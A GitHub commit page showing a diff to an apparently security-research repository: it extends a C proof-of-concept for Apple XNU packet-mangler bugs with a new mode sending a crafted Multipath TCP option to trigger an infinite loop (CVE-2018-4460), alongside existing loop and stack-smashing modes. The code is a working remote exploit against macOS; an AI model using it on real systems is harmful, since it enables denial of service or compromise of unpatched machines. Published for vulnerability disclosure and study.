Skip to content

Commit 7a1c227

Browse files
SamGitHub Enterprise
authored andcommitted
Merge pull request #18 from kev/Apple_XNU_packet_mangler_v2
Apple xnu packet mangler v2
2 parents aa62c2b + 363fc68 commit 7a1c227

2 files changed

Lines changed: 25 additions & 4 deletions

File tree

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
1-
## Remote code execution in Apple's packet-mangler (CVE-2017-13904, CVE-2018-4249)
1+
## Remote code execution in Apple's packet-mangler (CVE-2017-13904, CVE-2018-4249, CVE-2018-4460)
22

33
Proof-of-concept exploit for remote code execution vulnerability in the packet-mangler component of macOS: CVE-2017-13904, CVE-2018-4249. The vulnerability was fixed in macOS High Sierra 10.13.5, which was released on June 1, 2018.
44

5+
Update: Apple's fix for the infinite loop bug was incomplete. The fix for CVE-2018-4460 was released on December 5, 2018.
6+
57
For details on how to compile and run this exploit, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904).

apple/darwin-xnu/packet_mangler_CVE-2017-13904/cve-2017-13904-poc.c

Lines changed: 22 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,8 @@
1515
#include <netinet/ip.h>
1616
#include <arpa/inet.h>
1717

18+
#define TCP_OPT_MULTIPATH_TCP 30
19+
1820
// 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
1921
struct pseudo_header
2022
{
@@ -55,8 +57,9 @@ unsigned short csum(unsigned short *ptr, int nbytes)
5557
}
5658

5759
enum Mode {
58-
InfiniteLoopMode,
59-
SmashStackMode
60+
InfiniteLoopMode, // CVE-2017-13904
61+
InfiniteLoopMode2, // CVE-2018-4460
62+
SmashStackMode // CVE-2018-4249
6063
};
6164

6265
int main(int argc, char* argv[])
@@ -72,6 +75,7 @@ int main(int argc, char* argv[])
7275
printf("Usage: sudo ./a.out <source ip> <dest ip> <mode>\n");
7376
printf("Examples:\n");
7477
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite\n");
78+
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite2\n");
7579
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 smashstack\n");
7680
return 1;
7781
}
@@ -82,8 +86,14 @@ int main(int argc, char* argv[])
8286
dest_ip[sizeof(dest_ip) - 1] = '\0';
8387

8488
if (strcmp(argv[3], "infinite") == 0) {
89+
// CVE-2017-13904
8590
mode = InfiniteLoopMode;
91+
} else if (strcmp(argv[3], "infinite2") == 0) {
92+
// CVE-2018-4460
93+
mode = InfiniteLoopMode2;
94+
printf("infinite2\n");
8695
} else if (strcmp(argv[3], "smashstack") == 0) {
96+
// CVE-2018-4249
8797
mode = SmashStackMode;
8898
payloadsize = 1000;
8999
} else {
@@ -117,9 +127,16 @@ int main(int argc, char* argv[])
117127
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
118128
memset(data, 1, payloadsize);
119129

120-
if (mode != SmashStackMode) {
130+
if (mode == InfiniteLoopMode) {
131+
// Trigger bug here:
132+
// https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L966
121133
data[0] = 2;
122134
data[1] = 0;
135+
} else if (mode == InfiniteLoopMode2) {
136+
// Trigger bug here:
137+
// https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L993
138+
data[0] = TCP_OPT_MULTIPATH_TCP;
139+
data[1] = 0;
123140
}
124141

125142
// some address resolution
@@ -149,6 +166,8 @@ int main(int argc, char* argv[])
149166
tcph->seq = 0;
150167
tcph->ack_seq = 0;
151168
if (mode == SmashStackMode) {
169+
// Trigger bug here:
170+
// https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/net/packet_mangler.c#L951
152171
tcph->doff = 0;
153172
} else {
154173
tcph->doff = 0xF;

0 commit comments

Comments
 (0)